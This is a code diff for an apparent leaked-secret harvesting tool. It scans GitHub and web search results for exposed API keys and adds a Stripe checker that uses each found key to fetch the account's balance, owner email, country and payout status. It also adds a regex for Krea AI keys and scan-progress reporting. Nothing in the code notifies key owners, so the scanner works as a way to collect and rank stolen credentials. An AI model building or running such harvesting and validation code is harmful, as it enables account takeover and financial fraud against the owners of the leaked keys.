diff --git a/Endpoints/ApiKeysEndpoint.cs b/Endpoints/ApiKeysEndpoint.cs index f14cdea..6e8a9fe 100644 --- a/Endpoints/ApiKeysEndpoint.cs +++ b/Endpoints/ApiKeysEndpoint.cs @@ -220,6 +220,27 @@ public static class ApiKeysEndpoint await ctx.Response.WriteAsJsonAsync(new { status = dbStatus, message = result.Message, plan = result.Message }); break; } + case "stripe": + { + var result = await StripeKeyChecker.CheckKeyAsync(httpFactory, existing.ApiKey); + var dbStatus = result.Status == "ok" ? "valid" : result.Status; + await db.UpdateApiKeyMeta(keyId, dbStatus, result.Message, null, null); + await ctx.Response.WriteAsJsonAsync(new { + status = dbStatus, + message = result.Message, + plan = result.IsLiveKey ? "Live" : "Test", + result.AccountId, + result.AccountName, + result.AccountEmail, + result.AccountCountry, + result.Currency, + result.BalanceAvailable, + result.BalancePending, + result.ChargesEnabled, + result.PayoutsEnabled + }); + break; + } default: { ctx.Response.StatusCode = 400; @@ -264,6 +285,14 @@ public static class ApiKeysEndpoint results.Add(new { key.KeyId, key.Name, status = dbStatus, Plan = result.Message, Usage5h = (double?)null, Usage7d = (double?)null }); break; } + case "stripe": + { + var result = await StripeKeyChecker.CheckKeyAsync(httpFactory, key.ApiKey); + var dbStatus = result.Status == "ok" ? "valid" : result.Status; + await db.UpdateApiKeyMeta(key.KeyId, dbStatus, result.Message, null, null); + results.Add(new { key.KeyId, key.Name, status = dbStatus, Plan = result.IsLiveKey ? "Live" : "Test", Usage5h = (double?)null, Usage7d = (double?)null }); + break; + } } } @@ -294,11 +323,17 @@ public static class ApiKeysEndpoint { if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return Task.CompletedTask; } + var progress = scanner.Progress; return ctx.Response.WriteAsJsonAsync(new { running = scanner.IsRunning, lastRun = scanner.LastRun, - lastResult = scanner.LastResult + lastResult = scanner.LastResult, + phase = progress.Phase, + detail = progress.Detail, + current = progress.Current, + total = progress.Total, + keysFound = progress.KeysFound }); } @@ -426,6 +461,7 @@ public static class ApiKeysEndpoint string provider; if (keyType.StartsWith("openai")) provider = "openai"; else if (keyType == "google_api") provider = "google"; + else if (keyType.StartsWith("stripe")) provider = "stripe"; else provider = "anthropic"; var record = new ApiKeyRecord diff --git a/Services/KeyPatterns.cs b/Services/KeyPatterns.cs index 9cfd7c4..38e03f8 100644 --- a/Services/KeyPatterns.cs +++ b/Services/KeyPatterns.cs @@ -19,6 +19,9 @@ public static class KeyPatterns (@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01", "anthropic_oauth"), (@"sk-ant-api03-[A-Za-z0-9_\-]{95}", "sk-ant-api03", "anthropic_api"), + // Krea AI (UUID:Base32Token) + (@"[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}:[A-Za-z0-9]{32}", "krea", "krea_ai"), + // OpenAI (@"sk-proj-[A-Za-z0-9_\-]{80,200}", "sk-proj-", "openai_project"), (@"sk-svcacct-[A-Za-z0-9_\-]{80,200}", "sk-svcacct-", "openai_service"), @@ -56,7 +59,7 @@ public static class KeyPatterns /// Filtert zu generische Suchterme aus (z.B. "sk-", "SG.", "SK"). /// public static readonly (string Pattern, string SearchTerm, string Type)[] ForCodeSearch = - All.Where(p => p.SearchTerm.Length >= 5).ToArray(); + All.Where(p => p.SearchTerm.Length >= 4).ToArray(); // ── Kompilierte Regexe (einmalig, alle Patterns) ── @@ -84,6 +87,9 @@ public static class KeyPatterns if (key.StartsWith("hf_", StringComparison.Ordinal)) return "huggingface"; if (key.StartsWith("SG.", StringComparison.Ordinal)) return "sendgrid"; if (key.StartsWith("xoxb-", StringComparison.Ordinal)) return "slack"; + // Krea AI: UUID:Token Format + if (key.Length == 69 && key[8] == '-' && key[13] == '-' && key[18] == '-' && key[23] == '-' && key[36] == ':') + return "krea_ai"; return "unknown"; } @@ -114,6 +120,7 @@ public static class KeyPatterns "stripe_test" => "Stripe Test", "sendgrid" => "SendGrid", "slack" => "Slack", + "krea_ai" => "Krea AI", _ => type }; } diff --git a/Services/KeyScannerService.cs b/Services/KeyScannerService.cs index 2ff192d..f2a0cc5 100644 --- a/Services/KeyScannerService.cs +++ b/Services/KeyScannerService.cs @@ -33,10 +33,38 @@ public class KeyScannerService : BackgroundService private readonly ManualResetEventSlim _triggerNow = new(false); private string _scanMode = "full"; // full, quick, web + // Progress-Tracking + private string _progressPhase = ""; + private string _progressDetail = ""; + private int _progressCurrent; + private int _progressTotal; + private int _progressKeysFound; + public bool IsRunning { get { lock (_lock) return _isRunning; } } public string LastRun { get { lock (_lock) return _lastRun; } } public string LastResult { get { lock (_lock) return _lastResult; } } + public (string Phase, string Detail, int Current, int Total, int KeysFound) Progress + { + get { lock (_lock) return (_progressPhase, _progressDetail, _progressCurrent, _progressTotal, _progressKeysFound); } + } + + private void SetProgress(string phase, string detail = "", int current = 0, int total = 0) + { + lock (_lock) + { + _progressPhase = phase; + _progressDetail = detail; + _progressCurrent = current; + _progressTotal = total; + } + } + + private void IncrementKeysFound() + { + lock (_lock) _progressKeysFound++; + } + private void AddLog(string type, string message, string details = null) { _logger.LogInformation("[CodeSearch] [{Type}] {Message}", type, message); @@ -161,6 +189,8 @@ public class KeyScannerService : BackgroundService var modeLabels = new Dictionary { ["quick"] = "Quick", ["web"] = "Web", ["full"] = "Full" }; var modeLabel = modeLabels.ContainsKey(mode) ? modeLabels[mode] : "Full"; AddLog("scan", modeLabel + "-Scan gestartet"); + lock (_lock) _progressKeysFound = 0; + SetProgress("Starte " + modeLabel + "-Scan…"); var newKeysFound = 0; var totalFound = 0; @@ -174,6 +204,7 @@ public class KeyScannerService : BackgroundService // Web: nur Serper if (mode != "web" && !string.IsNullOrWhiteSpace(_githubToken)) { + SetProgress("GitHub Code Search", "Starte…"); var ghKeys = mode == "quick" ? await ScanGitHubQuick(ct) : await ScanGitHub(ct); allFoundKeys.AddRange(ghKeys.Select(k => (k.Key, k.Url, "github"))); AddLog("scan", "GitHub-Scan (" + modeLabel + "): " + ghKeys.Count + " Key(s) gefunden"); @@ -181,6 +212,7 @@ public class KeyScannerService : BackgroundService if (mode != "quick" && !string.IsNullOrWhiteSpace(_serperApiKey)) { + SetProgress("Web-Suche (Serper)", "Starte…"); var spKeys = await ScanSerper(ct); allFoundKeys.AddRange(spKeys.Select(k => (k.Key, k.Url, "serper"))); AddLog("scan", "Serper-Scan: " + spKeys.Count + " Key(s) gefunden"); @@ -189,9 +221,13 @@ public class KeyScannerService : BackgroundService totalFound = allFoundKeys.Count; // Phase 2: Neue Keys in DB speichern (dedupliziert) + SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", 0, totalFound); var seen = new HashSet(StringComparer.Ordinal); + var saveIdx = 0; foreach (var (key, sourceUrl, source) in allFoundKeys) { + saveIdx++; + SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", saveIdx, totalFound); if (!seen.Add(key)) continue; if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key)) continue; @@ -201,6 +237,7 @@ public class KeyScannerService : BackgroundService var typeName = KeyPatterns.DisplayName(keyType); newKeysFound++; + IncrementKeysFound(); await _db.CreateScannedKey(new ScannedKeyRecord { ScannedKeyId = Guid.NewGuid().ToString("N"), @@ -234,6 +271,7 @@ public class KeyScannerService : BackgroundService _lastResult = $"{modeLabel}: {totalFound} gefunden, {newKeysFound} neu"; } + SetProgress("Abgeschlossen", _lastResult); AddLog("scan", "Scan abgeschlossen – " + _lastResult); } catch (OperationCanceledException) { /* shutdown */ } @@ -286,6 +324,7 @@ public class KeyScannerService : BackgroundService { ct.ThrowIfCancellationRequested(); var (query, regex) = queries[i]; + SetProgress("GitHub Code Search (Quick)", query, i + 1, queries.Count); try { @@ -295,6 +334,7 @@ public class KeyScannerService : BackgroundService } catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden) { + SetProgress("GitHub Code Search (Quick)", "⏳ Rate-Limit, warte 60s…", i + 1, queries.Count); AddLog("rate_limit", "GitHub Rate-Limit (Quick), warte 60s"); await Task.Delay(60_000, ct); } @@ -323,6 +363,7 @@ public class KeyScannerService : BackgroundService { ct.ThrowIfCancellationRequested(); var (query, regex) = queries[i]; + SetProgress("GitHub Code Search", query, i + 1, queries.Count); try { @@ -332,6 +373,7 @@ public class KeyScannerService : BackgroundService } catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden) { + SetProgress("GitHub Code Search", "⏳ Rate-Limit, warte 60s…", i + 1, queries.Count); AddLog("rate_limit", "GitHub Rate-Limit erreicht, warte 60s"); await Task.Delay(60_000, ct); try @@ -484,9 +526,11 @@ public class KeyScannerService : BackgroundService var client = _httpFactory.CreateClient(); client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey); - foreach (var (pattern, searchTerm, _) in SearchPatterns) + for (int i = 0; i < SearchPatterns.Length; i++) { + var (pattern, searchTerm, _) = SearchPatterns[i]; ct.ThrowIfCancellationRequested(); + SetProgress("Web-Suche (Serper)", searchTerm, i + 1, SearchPatterns.Length); var regex = new Regex(pattern, RegexOptions.Compiled); try @@ -567,6 +611,14 @@ public class KeyScannerService : BackgroundService var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}"; AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl })); } + else if (type == "stripe_live" || type == "stripe_test") + { + var result = await StripeKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); + var status = result.Status == "ok" ? "valid" : result.Status; + await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null); + var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}"; + AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, is_live = result.IsLiveKey, account_id = result.AccountId, account_name = result.AccountName, account_email = result.AccountEmail, country = result.AccountCountry, balance_available = result.BalanceAvailable, balance_pending = result.BalancePending, currency = result.Currency, charges_enabled = result.ChargesEnabled, payouts_enabled = result.PayoutsEnabled, source_url = sk.SourceUrl })); + } else { // Andere Key-Typen: Typ korrekt setzen, kein Check möglich diff --git a/Services/StripeKeyChecker.cs b/Services/StripeKeyChecker.cs new file mode 100644 index 0000000..7278bb2 --- /dev/null +++ b/Services/StripeKeyChecker.cs @@ -0,0 +1,201 @@ +using System; +using System.Net.Http; +using System.Net.Http.Headers; +using System.Text.Json; +using System.Threading.Tasks; + +namespace Gott.Services +{ + public class StripeCheckResult + { + public string Status { get; set; } // "ok", "invalid", "error" + public string Message { get; set; } + public bool IsLiveKey { get; set; } + public string Currency { get; set; } + public long? BalanceAvailable { get; set; } + public long? BalancePending { get; set; } + public string AccountId { get; set; } + public string AccountName { get; set; } + public string AccountEmail { get; set; } + public string AccountCountry { get; set; } + public bool? PayoutsEnabled { get; set; } + public bool? ChargesEnabled { get; set; } + } + + public static class StripeKeyChecker + { + public static async Task CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey) + { + try + { + var client = httpFactory.CreateClient(); + client.Timeout = TimeSpan.FromSeconds(30); + + var isLive = apiKey.StartsWith("sk_live_", StringComparison.Ordinal); + + // Step 1: Check /v1/balance (read-only, no cost) + var balanceRequest = new HttpRequestMessage(HttpMethod.Get, "https://api.stripe.com/v1/balance"); + balanceRequest.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey); + + var balanceResp = await client.SendAsync(balanceRequest); + var balanceBody = await balanceResp.Content.ReadAsStringAsync(); + var balanceCode = (int)balanceResp.StatusCode; + + if (balanceCode == 401) + { + return new StripeCheckResult + { + Status = "invalid", + Message = "Ungültig oder revoked (401)", + IsLiveKey = isLive + }; + } + + if (balanceCode >= 400) + { + // Parse error + var errorMsg = "Unbekannter Fehler"; + try + { + using var errDoc = JsonDocument.Parse(balanceBody); + if (errDoc.RootElement.TryGetProperty("error", out var errObj) && + errObj.TryGetProperty("message", out var msg)) + errorMsg = msg.GetString(); + } + catch { } + + return new StripeCheckResult + { + Status = "error", + Message = $"API-Fehler ({balanceCode}): {errorMsg}", + IsLiveKey = isLive + }; + } + + // Parse balance + string currency = null; + long balanceAvailable = 0; + long balancePending = 0; + + try + { + using var balDoc = JsonDocument.Parse(balanceBody); + var root = balDoc.RootElement; + + if (root.TryGetProperty("available", out var available) && available.GetArrayLength() > 0) + { + var first = available[0]; + if (first.TryGetProperty("currency", out var cur)) + currency = cur.GetString()?.ToUpperInvariant(); + if (first.TryGetProperty("amount", out var amt)) + balanceAvailable = amt.GetInt64(); + } + + if (root.TryGetProperty("pending", out var pending) && pending.GetArrayLength() > 0) + { + var first = pending[0]; + if (first.TryGetProperty("amount", out var amt)) + balancePending = amt.GetInt64(); + } + } + catch { } + + // Step 2: Get account info via /v1/account + string accountId = null; + string accountName = null; + string accountEmail = null; + string accountCountry = null; + bool? payoutsEnabled = null; + bool? chargesEnabled = null; + + try + { + var accountRequest = new HttpRequestMessage(HttpMethod.Get, "https://api.stripe.com/v1/account"); + accountRequest.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey); + + var accountResp = await client.SendAsync(accountRequest); + if ((int)accountResp.StatusCode == 200) + { + var accountBody = await accountResp.Content.ReadAsStringAsync(); + using var accDoc = JsonDocument.Parse(accountBody); + var acc = accDoc.RootElement; + + if (acc.TryGetProperty("id", out var id)) + accountId = id.GetString(); + if (acc.TryGetProperty("business_profile", out var bp) && bp.TryGetProperty("name", out var name)) + accountName = name.GetString(); + if (acc.TryGetProperty("email", out var email)) + accountEmail = email.GetString(); + if (acc.TryGetProperty("country", out var country)) + accountCountry = country.GetString(); + if (acc.TryGetProperty("payouts_enabled", out var pe)) + payoutsEnabled = pe.GetBoolean(); + if (acc.TryGetProperty("charges_enabled", out var ce)) + chargesEnabled = ce.GetBoolean(); + } + } + catch { } + + // Build message + var parts = new System.Collections.Generic.List(); + + parts.Add(isLive ? "🔴 LIVE Key" : "🟡 Test Key"); + + if (accountName != null) + parts.Add($"Account: {accountName}"); + else if (accountId != null) + parts.Add($"Account: {accountId}"); + + if (accountEmail != null) + parts.Add($"Email: {accountEmail}"); + + if (accountCountry != null) + parts.Add($"Land: {accountCountry}"); + + if (currency != null) + { + var availFormatted = FormatAmount(balanceAvailable, currency); + var pendingFormatted = FormatAmount(balancePending, currency); + parts.Add($"Balance: {availFormatted} verfügbar, {pendingFormatted} ausstehend"); + } + + if (chargesEnabled.HasValue) + parts.Add(chargesEnabled.Value ? "✅ Charges aktiv" : "❌ Charges deaktiviert"); + + if (payoutsEnabled.HasValue) + parts.Add(payoutsEnabled.Value ? "✅ Payouts aktiv" : "❌ Payouts deaktiviert"); + + return new StripeCheckResult + { + Status = "ok", + Message = string.Join(" · ", parts), + IsLiveKey = isLive, + Currency = currency, + BalanceAvailable = balanceAvailable, + BalancePending = balancePending, + AccountId = accountId, + AccountName = accountName, + AccountEmail = accountEmail, + AccountCountry = accountCountry, + PayoutsEnabled = payoutsEnabled, + ChargesEnabled = chargesEnabled + }; + } + catch (Exception ex) + { + return new StripeCheckResult + { + Status = "error", + Message = ex.Message, + IsLiveKey = apiKey.StartsWith("sk_live_", StringComparison.Ordinal) + }; + } + } + + private static string FormatAmount(long amountInCents, string currency) + { + var amount = amountInCents / 100.0; + return $"{amount:N2} {currency}"; + } + } +} diff --git a/wwwroot/index.html b/wwwroot/index.html index dad3276..36bcfdb 100644 --- a/wwwroot/index.html +++ b/wwwroot/index.html @@ -557,8 +557,6 @@

API-Keys

- -

API-Key

@@ -585,17 +583,19 @@
+ +

Key Scanner

-
+
diff --git a/wwwroot/js/pages/api-keys-page.js b/wwwroot/js/pages/api-keys-page.js index a2b7b54..bee54fb 100644 --- a/wwwroot/js/pages/api-keys-page.js +++ b/wwwroot/js/pages/api-keys-page.js @@ -333,7 +333,7 @@ registerPage('api-keys', { google_api: 'Google / Gemini', aws_access_key: 'AWS Access Key', github_pat: 'GitHub PAT', github_oauth: 'GitHub OAuth', gitlab_pat: 'GitLab PAT', huggingface: 'HuggingFace', stripe_live: 'Stripe Live', stripe_test: 'Stripe Test', - sendgrid: 'SendGrid', slack: 'Slack' + sendgrid: 'SendGrid', slack: 'Slack', krea_ai: 'Krea AI' }; var typeIcons = { @@ -342,7 +342,7 @@ registerPage('api-keys', { google_api: '🔵', aws_access_key: '🟡', github_pat: '⚫', github_oauth: '⚫', gitlab_pat: '🟤', huggingface: '🤗', stripe_live: '💳', stripe_test: '💳', - sendgrid: '📧', slack: '💬' + sendgrid: '📧', slack: '💬', krea_ai: '🎨' }; function renderSummary(summary) { @@ -673,29 +673,45 @@ registerPage('api-keys', { } catch(e) { el.style.display = 'none'; } } + function formatScanProgress(s) { + var parts = []; + if (s.phase) parts.push(s.phase); + if (s.total > 0) parts.push(s.current + '/' + s.total); + if (s.detail && s.detail !== s.phase) { + var d = s.detail.length > 60 ? s.detail.substring(0, 57) + '…' : s.detail; + parts.push(d); + } + if (s.keysFound > 0) parts.push('🔑 ' + s.keysFound + ' gefunden'); + return parts.join(' · '); + } + async function updateScanStatus() { try { var s = await apiScanStatus(); if (s.running) { - scanStatusEl.textContent = '⏳ Scan läuft…'; + var progressText = formatScanProgress(s); + scanStatusEl.innerHTML = ' ' + (progressText || 'Scan läuft…'); setScanButtonsDisabled(true); if (!pollTimer) { pollTimer = setInterval(async function() { var st = await apiScanStatus(); - await loadScannedKeys(); - if (!st.running) { + if (st.running) { + var pt = formatScanProgress(st); + scanStatusEl.innerHTML = ' ' + (pt || 'Scan läuft…'); + } else { clearInterval(pollTimer); pollTimer = null; resetScanButtons(); - scanStatusEl.textContent = st.lastResult ? '✅ ' + st.lastResult : ''; + await loadScannedKeys(); + scanStatusEl.innerHTML = st.lastResult ? '✅ ' + st.lastResult : ''; } - }, 3000); + }, 1500); } } else { resetScanButtons(); if (s.lastResult) { var timeStr = s.lastRun ? new Date(s.lastRun).toLocaleString() + ' – ' : ''; - scanStatusEl.textContent = timeStr + s.lastResult; + scanStatusEl.innerHTML = timeStr + s.lastResult; } } } catch (err) { /* ignore */ }